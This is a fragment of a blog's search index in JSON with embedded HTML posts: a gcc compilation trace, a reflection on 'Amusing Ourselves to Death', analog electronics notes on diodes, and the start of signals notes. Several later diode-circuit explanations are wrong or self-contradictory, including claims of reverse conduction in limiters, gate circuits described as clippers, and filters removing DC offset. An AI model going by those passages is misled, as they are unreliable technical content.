class=\"string\"\u003e\u0026#34;-fstack-protector-strong\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20 \u003cspan class=\"string\"\u003e\u0026#34;-Wformat\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21 \u003cspan class=\"string\"\u003e\u0026#34;-Wformat-security\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22 \u003cspan class=\"string\"\u003e\u0026#34;-fstack-clash-protection\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23 \u003cspan class=\"string\"\u003e\u0026#34;-fcf-protection\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24 \u003cspan class=\"string\"\u003e\u0026#34;-o\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25 \u003cspan class=\"string\"\u003e\u0026#34;/tmp/ccf8oz38.s\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26 0x251bbd0 /* 35 vars */ \u0026lt;unfinished ...\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面就是\u003ccode\u003egcc\u003c/code\u003e编译这个程序的全流程,以及全部的参数。这些系统调用都能看得到。也就证明了前面的结论:程序=系统调用+计算。我们写的算法题就几乎属于纯计算(只有最后的\u003ccode\u003ereturn 0;\u003c/code\u003e算个系统调用),平时使用的各种程序就属于系统调用+计算的类型。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/"},{"title":"书摘:《娱乐至死》","time":"2022-12-29T08:39:22Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e谎言没有被定义成真理,真理也没有被定义成谎言。真正发生的是公众已经适应了没有连贯性的世界,并且已经被娱乐得麻木不仁了。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e破碎化的信息,使得在传统的印刷文字中习惯了连贯的上下文的读者需要不停地切换上下文。这使得读者疲于应付无休止的切换。显然,这让信息得不到被处理的精力了。久而久之,当人们开始适应之后,甚至不会再对信息进行思考,而只是单纯地接收并丢弃,并以这种走马观花的感受为乐。这种上下文切换在手机上展现的最为淋漓尽致。手机的通知系统充分调动用户的各种感官提醒人们去查看最新的信息。它很负责,我们几乎不会遗漏一条信息。而代价就是上面所述的切换一天可能会发生更多次,直到我们筋疲力竭为止,我们依然会点亮屏幕,查看最新的通知。我们会感觉自己看到了很多信息,并且也仅限于此。我们不会更深入地思考整理,不仅是没有那个精力,也是因为这些信息太零散了,从通知类到生活小常识,无所不有。这样的无关联信息没有可供思考的语境,也没有思考的余地:就像照片一样,只是一个个事实而已,它们的联系只有同样使用文字同时排版在你的眼前而已。\u003c/p\u003e\u003cp\u003e这些通知可能很重要,会改变我们接下来的行程安排。但是这种突发事件式的通知会打断我们正在做的,无论它是否重要。这对于我们当前的状态是一种毁灭性打击:当我在看书时,弹出了群聊消息。我点开它,并参与了对话。我退出它,重新回到阅读流程中。若只是一次两次还好,次数多了我会直接放弃阅读,开始做其他的事,比如继续进行没什么营养的对话,查看所有的新消息,或者去视频网站消磨时间。\u003c/p\u003e\u003cp\u003e因此,手机最好还是只回归于一个联络工具的功能,而将其他功能交给更专业的设备去完成。比如把阅读交给实体书/电脑,学习交给电脑/平板。笔记可以用电子的,也可以用纸质的。但是在选择前者时,应该确保不要被工具影响工作状态。做笔记时可以开启免打扰模式来确保专注。\u003c/p\u003e\u003cp\u003e现代生活难以离开手机,但是它的副作用之严重不是所有人都能接受。在日常生活中,尽量减少查看消息的次数,通知可以定时查看。例如,在每天的午餐时间看看通知,决定接下来要做的事。特别注意,避免使用手机进行工作。这是因为手机可能导致的注意力和精力大量消耗,这会大大降低工作效率和工作质量。\u003c/p\u003e\u003cp\u003e再往后的内容属于个人任务/时间管理的内容,这里不再赘述。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/29/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E4%B9%A6%E6%91%98%EF%BC%9A%E3%80%8A%E5%A8%B1%E4%B9%90%E8%87%B3%E6%AD%BB%E3%80%8B/"},{"title":"模电:第一章-半导体器件","time":"2022-12-21T02:25:21Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"1-1-半导体基础\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-1-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"1.1 半导体基础\"\u003e\u003c/a\u003e1.1 半导体基础\u003c/h2\u003e\u003cul\u003e\u003cli\u003eP/N型半导体 根据\u003cstrong\u003e载流子的正负电性\u003c/strong\u003e命名,掺杂三价/五价物质\u003c/li\u003e\u003cli\u003e本征半导体 纯度达到小数点后9个9的半导体。在其中,空穴数和自由电子数相等\u003c/li\u003e\u003cli\u003e掺杂 会使某一种载流子占多数\u003c/li\u003e\u003cli\u003e漂移运动 载流子在电场作用下定向运动\u003c/li\u003e\u003cli\u003e扩散运动 载流子自浓度高向低浓度区域扩散\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"1-2-PN结\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-2-PN%E7%BB%93\" class=\"headerlink\" title=\"1.2 PN结\"\u003e\u003c/a\u003e1.2 PN结\u003c/h2\u003e\u003ch3 id=\"PN结形成过程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E5%BD%A2%E6%88%90%E8%BF%87%E7%A8%8B\" class=\"headerlink\" title=\"PN结形成过程\"\u003e\u003c/a\u003ePN结形成过程\u003c/h3\u003e\u003cp\u003e在一块本征半导体两侧进行N型掺杂和P型掺杂,此时在结合面上会发生扩散运动。N电子扩散到P空穴,两区域会中和,从而在结合面上会形成裸露粒子。P区呈负电性,N区呈正电性。这会形成内电场,由N区指向P区。这电场会阻碍多子的扩散作用。\u003c/p\u003e\u003cp\u003e在内电场作用下,少子会漂移,方向盘和扩散方向相反,从而会和多子达到动态平衡。平衡后的空间电场区域就称为PN结。这也称为耗尽层(缺少多子),也等效于电阻。\u003c/p\u003e\u003cp\u003e两边掺杂程度不同,会使得PN结不对称。重掺杂一侧会因为密度大相对薄。用P+N/PN+表示。\u003c/p\u003e\u003ch3 id=\"PN结单向导电性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E5%8D%95%E5%90%91%E5%AF%BC%E7%94%B5%E6%80%A7\" class=\"headerlink\" title=\"PN结单向导电性\"\u003e\u003c/a\u003ePN结单向导电性\u003c/h3\u003e\u003cp\u003e正偏(P流向N)导通,反偏(N流向P)截止。\u003c/p\u003e\u003cp\u003eP区电位高于N区电位称为正偏(forward bias),反之称为反偏。\u003c/p\u003e\u003cp\u003e这回路必须加上限流电阻,否则无压降时电流会很大,二极管会被烧毁。\u003c/p\u003e\u003cp\u003e导通性主要和内电场有关。漂移电流大则电流小,扩散电流大则电流大。温度升高漂移电流也会增大。10℃大概对应漂移电流变化一倍。反向电流由于基本不变,所以称为反向饱和电流。\u003c/p\u003e\u003ch3 id=\"伏安特性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BC%8F%E5%AE%89%E7%89%B9%E6%80%A7\" class=\"headerlink\" title=\"伏安特性\"\u003e\u003c/a\u003e伏安特性\u003c/h3\u003e\u003cp\u003e伏安特性数学关系为:$I_D=I_S(e^{\\frac{u}{U_t}}-1)$,其中只有$U$和$I$是变量,$I_S$是反偏电流,$U_T$是温度当量,默认为$26mV$。\u003c/p\u003e\u003cp\u003e$U_T=\\frac{kT}{q}$,其中的$k$是玻尔兹曼常数。\u003c/p\u003e\u003cp\u003e$T=300$时,电压为$26mV$。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Screenshot_20221229_093002.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_093211.jpg]]\u003c/p\u003e\u003ch3 id=\"击穿特性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%87%BB%E7%A9%BF%E7%89%B9%E6%80%A7\" class=\"headerlink\" title=\"击穿特性\"\u003e\u003c/a\u003e击穿特性\u003c/h3\u003e\u003cp\u003e击穿方式有两种,血崩击穿和齐纳击穿。\u003c/p\u003e\u003col\u003e\u003cli\u003e雪崩击穿\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e当\u003cstrong\u003ePN结较厚,电压较高时\u003c/strong\u003e,一个载流子打在PN结上,会撞出来一些自由电子。这些自由电子会像链式反应一样撞出来更多的自由电子。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e齐纳击穿\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e当\u003cstrong\u003ePN结较薄,电压较低时\u003c/strong\u003e,内部扩散载流子形成的内电场可能会直接把束缚电子拉出来,形成击穿。\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_094116.jpg]]\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_094218.jpg]]\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/IMG_20230213_141623.jpg\"/\u003e\u003c/p\u003e\u003ch3 id=\"PN结的电容效应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E7%9A%84%E7%94%B5%E5%AE%B9%E6%95%88%E5%BA%94\" class=\"headerlink\" title=\"PN结的电容效应\"\u003e\u003c/a\u003ePN结的电容效应\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e总而言之,PN结可以等效为电容和电阻并联。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e电容效应\u003c/strong\u003e 电压变化引起电荷变化。势垒电容,扩散电容构成了PN结的电容效应。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e势垒电容\u003c/strong\u003e 由阻挡层内电荷引起。外加电压会改变阻挡层厚度。这会使得阻挡层内电荷量改变。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e扩散电容\u003c/strong\u003e 多子扩散后,在另一侧积累形成电容效应。正向电压会改变电荷量从而使得电容改变。\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_100028.jpg]]\u003c/p\u003e\u003ch2 id=\"1-3-半导体二极管\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-3-%E5%8D%8A%E5%AF%BC%E4%BD%93%E4%BA%8C%E6%9E%81%E7%AE%A1\" class=\"headerlink\" title=\"1.3 半导体二极管\"\u003e\u003c/a\u003e1.3 半导体二极管\u003c/h2\u003e\u003cp\u003e是将半导体制作成二极管(diode)得到的电子元件,性质也是单向导通。两端分别为P端(阳极),N端(阴极)。\u003c/p\u003e\u003cp\u003e分类可以按照材料:\u003c/p\u003e\u003cul\u003e\u003cli\u003e硅二极管\u003c/li\u003e\u003cli\u003e锗二极管\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e也可以按照结构分类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e点接触型二极管 适合高频工作,小电流整流、检波和混频等\u003c/li\u003e\u003cli\u003e面接触型二极管 只能在较低的频率工作,可用于整流电路\u003c/li\u003e\u003cli\u003e硅平面型二极管 结面积大的用于大功率整流,小的在脉冲数字电路中作开关管\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"二极管的参数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E7%9A%84%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"二极管的参数\"\u003e\u003c/a\u003e二极管的参数\u003c/h3\u003e\u003cp\u003e二极管有这么几个特殊点。考虑U-I图(横轴U纵轴I),有\u003c/p\u003e\u003cul\u003e\u003cli\u003e$U_{th}$ 死区电压,超过这个正值二极管开始导通\u003c/li\u003e\u003cli\u003e$U_{on}\\text{ or }U_I$ 导通电压,此时电流达到1mA\u003c/li\u003e\u003cli\u003e$U_{BR}$ 击穿电压,反向电压超过一定值后,反向电流急剧增加\u003c/li\u003e\u003cli\u003e$U_R$ 最大反向工作电压,二极管允许的最大工作电压,一般取最大值的一半标注\u003c/li\u003e\u003cli\u003e$I_F$ 最大整流电流,正向最大平均电流\u003c/li\u003e\u003cli\u003e$I_R$ 反向电流,未击穿时反向电流值,受温度影响大\u003c/li\u003e\u003cli\u003e$f_M$ 最高工作频率 和结电容成反比\u003c/li\u003e\u003cli\u003e$R_D$ 端电压和流过二极管的电流之比\u003c/li\u003e\u003cli\u003e$r_d$ 交流电阻,工作点附近的图像切线斜率倒数。取26℃室温,约为$\\frac{26(mV)}{I_{DQ}}$,分母是工作点的电流\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e部分重要参数如下:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e-\u003c/th\u003e\u003cth align=\"center\"\u003e硅二极管\u003c/th\u003e\u003cth align=\"center\"\u003e锗二极管\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e$U_{th}$\u003c/td\u003e\u003ctd align=\"center\"\u003e0.5V\u003c/td\u003e\u003ctd align=\"center\"\u003e0.1V\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e$U_{on}$\u003c/td\u003e\u003ctd align=\"center\"\u003e0.7V\u003c/td\u003e\u003ctd align=\"center\"\u003e0.3V\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e反向饱和电流\u003c/td\u003e\u003ctd align=\"center\"\u003e$nA$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\mu A$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e温度特性 \u003cstrong\u003e温度升高1℃,正向压降减小2-2.5mV;升高10℃,反向电流约增大1倍。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e为了简化分析,可以在某种范围用线性函数近似二极管的指数分布。\u003c/p\u003e\u003cul\u003e\u003cli\u003e理想模型 就是理想二极管,反向断路,正向短路\u003c/li\u003e\u003cli\u003e恒压降模型 在理想模型基础加上$U_{on}$,相当于将理想模型向右平移$U_{on}$\u003c/li\u003e\u003cli\u003e折线模型 把前者正向短路换成斜率$1/R_D$的直线\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e利用二极管反向电流变化小的性质,可以用它制作稳压电路。\u003c/p\u003e\u003ch4 id=\"限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"限幅电路\"\u003e\u003c/a\u003e限幅电路\u003c/h4\u003e\u003cp\u003e限幅电路是一种常用的保护电路,可以限制输入信号的幅值,使其不超过一定范围。常用的限幅电路有正向限幅电路和反向限幅电路。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e限幅的实现,是源于二极管的伏安特性曲线。它导通时,两端电压近似等于二极管的导通电压。这使得二极管有了一种“钳制”的效果:当二极管在一个支路上,如果遇到一个支路的端电压超过导通电压,则二极管会导通,使得两端的电压无限接近于二极管的导通电压。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606213624.png\"/\u003e\u003c/p\u003e\u003cp\u003e下面是另一个题型,看谁先导通(共极)。这种方法看谁的阴极电压更低,就能得出了。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606213711.png\"/\u003e\u003c/p\u003e\u003cp\u003e另外还可以假设法解题。因为钳制效应的作用,所以只有一个管子会导通。因此,假设一个管导通,如果一个管导通,其他管不导通,则假设正确。\u003c/p\u003e\u003ch5 id=\"正向限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%AD%A3%E5%90%91%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"正向限幅电路\"\u003e\u003c/a\u003e正向限幅电路\u003c/h5\u003e\u003cp\u003e正向限幅电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003cp\u003e当输入信号为正半周时,二极管正向导通,输出信号等于输入信号;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,正向限幅电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606214233.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面就是一个反向截止电路。\u003c/p\u003e\u003ch5 id=\"反向限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8F%8D%E5%90%91%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"反向限幅电路\"\u003e\u003c/a\u003e反向限幅电路\u003c/h5\u003e\u003cp\u003e反向限幅电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003cp\u003e当输入信号为负半周时,二极管反向导通,输出信号等于输入信号;当输入信号为正半周时,二极管正向截止,输出信号为0V。因此,反向限幅电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003cp\u003e限幅电路的应用非常广泛,例如在音频放大器中,可以用限幅电路来保护扬声器,防止过载损坏;在通信电路中,可以用限幅电路来保护接收机,防止过大的信号干扰接收机正常工作。\u003c/p\u003e\u003ch4 id=\"二极管门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"二极管门电路\"\u003e\u003c/a\u003e二极管门电路\u003c/h4\u003e\u003cp\u003e二极管门电路是一种常用的电路,可以将输入信号的幅值限制在一定范围内。二极管门电路的基本原理是利用二极管的导通特性,将输入信号限制在二极管正向导通电压范围内。当输入信号超过二极管正向导通电压时,二极管开始导通,输出信号等于输入信号减去二极管正向导通电压;当输入信号小于二极管正向导通电压时,二极管反向截止,输出信号为0V。\u003c/p\u003e\u003cp\u003e常见的二极管门电路有正向门电路和反向门电路。\u003c/p\u003e\u003ch5 id=\"正向门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%AD%A3%E5%90%91%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"正向门电路\"\u003e\u003c/a\u003e正向门电路\u003c/h5\u003e\u003cp\u003e正向门电路可以将输入信号的负半周全部截去,只保留正半周。当输入信号为正半周时,二极管正向导通,输出信号等于输入信号减去二极管正向导通电压;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,正向门电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003ch5 id=\"反向门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8F%8D%E5%90%91%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"反向门电路\"\u003e\u003c/a\u003e反向门电路\u003c/h5\u003e\u003cp\u003e反向门电路可以将输入信号的正半周全部截去,只保留负半周。当输入信号为负半周时,二极管反向导通,输出信号等于输入信号减去二极管正向导通电压的相反数;当输入信号为正半周时,二极管正向截止,输出信号为0V。因此,反向门电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003ch4 id=\"整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"整流电路\"\u003e\u003c/a\u003e整流电路\u003c/h4\u003e\u003cp\u003e整流电路是将交流电信号转换为直流电信号的电路。在整流电路中,二极管起到了关键作用。常见的整流电路有半波整流电路和全波整流电路。\u003c/p\u003e\u003ch5 id=\"半波整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8D%8A%E6%B3%A2%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"半波整流电路\"\u003e\u003c/a\u003e半波整流电路\u003c/h5\u003e\u003cp\u003e半波整流电路是将输入信号的负半周全部截去,只保留正半周。输入信号为正半周时,二极管正向导通,输出信号等于输入信号;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,半波整流电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003ch5 id=\"全波整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%85%A8%E6%B3%A2%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"全波整流电路\"\u003e\u003c/a\u003e全波整流电路\u003c/h5\u003e\u003cp\u003e全波整流电路是将输入信号的负半周翻转成正半周,再与正半周相加得到完整的正半周信号。当输入信号为正半周时,D1正向导通,输出信号等于输入信号;当输入信号为负半周时,D2正向导通,输出信号等于输入信号的相反数。因此,全波整流电路可以将输入信号的负半周翻转成正半周,再与正半周相加得到完整的正半周信号。\u003c/p\u003e\u003ch5 id=\"滤波电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%BB%A4%E6%B3%A2%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"滤波电路\"\u003e\u003c/a\u003e滤波电路\u003c/h5\u003e\u003cp\u003e在整流电路中,由于二极管的导通特性,输出信号仍然存在直流偏置。为了去除这种直流偏置,需要加入滤波电路。常见的滤波电路有电容滤波电路和电感滤波电路。\u003c/p\u003e\u003ch3 id=\"二极管电路分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"二极管电路分析\"\u003e\u003c/a\u003e二极管电路分析\u003c/h3\u003e\u003cp\u003e对于二极管电路的分析,需要掌握二极管的伏安特性、电容效应、温度特性等基本特性,以及二极管的参数和模型。常用的二极管模型有理想模型、恒压降模型和折线模型。在实际电路中,可以根据需要选择不同的模型进行分析。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/"},{"title":"信号与系统笔记","time":"2022-12-20T00:48:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e考核:\u003cbr/\u003e平时成绩 30%\u003cbr/\u003e阶段考核 10%\u003cbr/\u003e慕课考核 10%\u003cbr/\u003e期末考试 50%\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"1-信号与系统\"\u003e\u003ca 